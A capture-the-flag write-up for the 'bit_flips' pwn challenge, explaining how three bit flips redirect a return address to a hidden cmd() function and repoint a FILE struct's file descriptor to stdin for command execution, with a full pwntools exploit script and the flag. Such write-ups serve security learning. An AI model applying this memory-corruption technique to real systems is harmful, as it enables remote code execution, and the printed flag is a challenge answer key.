Bit Flips

0xFun CTFby smothy

bit_flips - X-0R / PWN

Points: 500 | Difficulty: Medium | Flag: 0xfun{3_b1t5_15_4ll_17_74k35_70_g37_RC3_safhu8} | Solved by: Smothy @ 0xN1umb

hacking

what we got

binary + libc + ld. full protections enabled (PIE, Full RELRO, canary, NX). connects via nc. challenge description says "can you do it in just 3 bit flips?"

connecting gives us:

I'm feeling super generous today &main = 0x58e757031405 &system = 0x7a80a04fe750 &address = 0x7fff583e0eb0 sbrk(NULL) = 0x58e7595d1000 >

so we get PIE, libc, stack, AND heap leaks. generous indeed lmao. then it asks for input 3 times - an address (hex) and a bit number (0-7). it flips that single bit at that address. 3 times total.

reversing

threw it in objdump. pretty small binary:

  • setup() - disables buffering, opens ./commands file into global FILE *f
  • bit_flip() - reads address + bit number, XORs 1<<bit at that byte. checks lock == -1 or exits
  • vuln() - prints all the leaks, calls bit_flip() 3 times in a loop
  • cmd() - never called anywhere. reads lines from f and passes each to system()
  • main() - calls setup, prints banner, calls vuln, returns

so cmd() is the hidden function that gives us code execution via system(). we just need to redirect there. ez right? ... right?

the solve (attempt 1 - the naive approach)

ok so vuln's return address is at &address + 0x18 on the stack. the return addr is PIE+0x1422 (back into main). cmd is at PIE+0x1429.

0x22 ^ 0x29 = 0x0B = bits 0, 1, 3

exactly 3 bits! too perfect. ship it.

python
for bit in [0, 1, 3]:
    p.sendline(f'{ret_addr:x}')
    p.sendline(str(bit))

aaand... SIGSEGV. lol.

strace showed it actually REACHES cmd(), reads the file, starts setting up system()... then crashes. classic x86-64 stack alignment issue. when vuln returns via ret to cmd, we're missing the 8 bytes that a normal call instruction would push. system() hits a movaps and dies because RSP isn't 16-byte aligned.

the solve (attempt 2 - skip push rbp)

galaxy brain

ok so what if instead of jumping to cmd (0x1429 = push rbp), we jump to cmd+1 (0x142a = mov rbp, rsp)? skipping push rbp means RSP stays 16-byte aligned.

0x22 ^ 0x2a = 0x08 = bit 3 only

one single bit flip. that leaves us 2 spare flips. tested locally - system("id") works, clean exit code 0.

ran it on remote... got "Did you pwn me?". the server's commands file just taunts us lol. we need to control what system() executes.

the solve (attempt 3 - the big brain play)

we have 2 spare flips. the FILE struct for f was allocated on the heap by fopen(). we know the heap boundary from sbrk(NULL). the FILE struct has a _fileno field at offset 0x70 - that's the file descriptor number (3 for our opened file).

what if we flip _fileno from 3 to 0? fd 0 = stdin = WE control the input.

3 ^ 0 = 3 = bits 0, 1

exactly 2 bits. we have exactly 2 spare flips. ngl this felt like it was meant to be.

heap layout:

heap_base = sbrk(0) - 0x21000 tcache_perthread_struct @ heap_base + 0x10 FILE struct @ heap_base + 0x2a0 FILE._fileno @ heap_base + 0x2a0 + 0x70 = heap_base + 0x310

final exploit - all 3 flips perfectly accounted for:

python
from pwn import *

p = remote('chall.0xfun.org', 8612)

# parse leaks
p.recvuntil(b'&main = ')
main_leak = int(p.recvline().strip(), 16)
p.recvuntil(b'&system = ')
system_leak = int(p.recvline().strip(), 16)
p.recvuntil(b'&address = ')
address_leak = int(p.recvline().strip(), 16)
p.recvuntil(b'sbrk(NULL) = ')
sbrk_leak = int(p.recvline().strip(), 16)

ret_addr = address_leak + 0x18
fileno_addr = sbrk_leak - 0x21000 + 0x310

# flip 1: ret addr bit 3 -> cmd+1 (skip push rbp = fix alignment)
p.recvuntil(b'> ')
p.sendline(f'{ret_addr:x}'.encode())
p.sendline(b'3')

# flip 2-3: FILE._fileno bits 0,1 -> fd 3 becomes fd 0 (stdin)
p.recvuntil(b'> ')
p.sendline(f'{fileno_addr:x}'.encode())
p.sendline(b'0')

p.recvuntil(b'> ')
p.sendline(f'{fileno_addr:x}'.encode())
p.sendline(b'1')

# cmd() now reads from stdin - send our command
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()

the 3 flips:

#TargetBitEffect
1vuln return addr30x22 -> 0x2a redirect to cmd+1, fixes stack alignment
2FILE._fileno03 -> 2
3FILE._fileno12 -> 0 fd now points to stdin

flag

0xfun{3_b1t5_15_4ll_17_74k35_70_g37_RC3_safhu8}

3 bits is all it takes to get RCE fr fr. the flag even says it - "3 b1t5 15 4ll 17 74k35 70 g37 RC3"

celebration


smothy out ✌️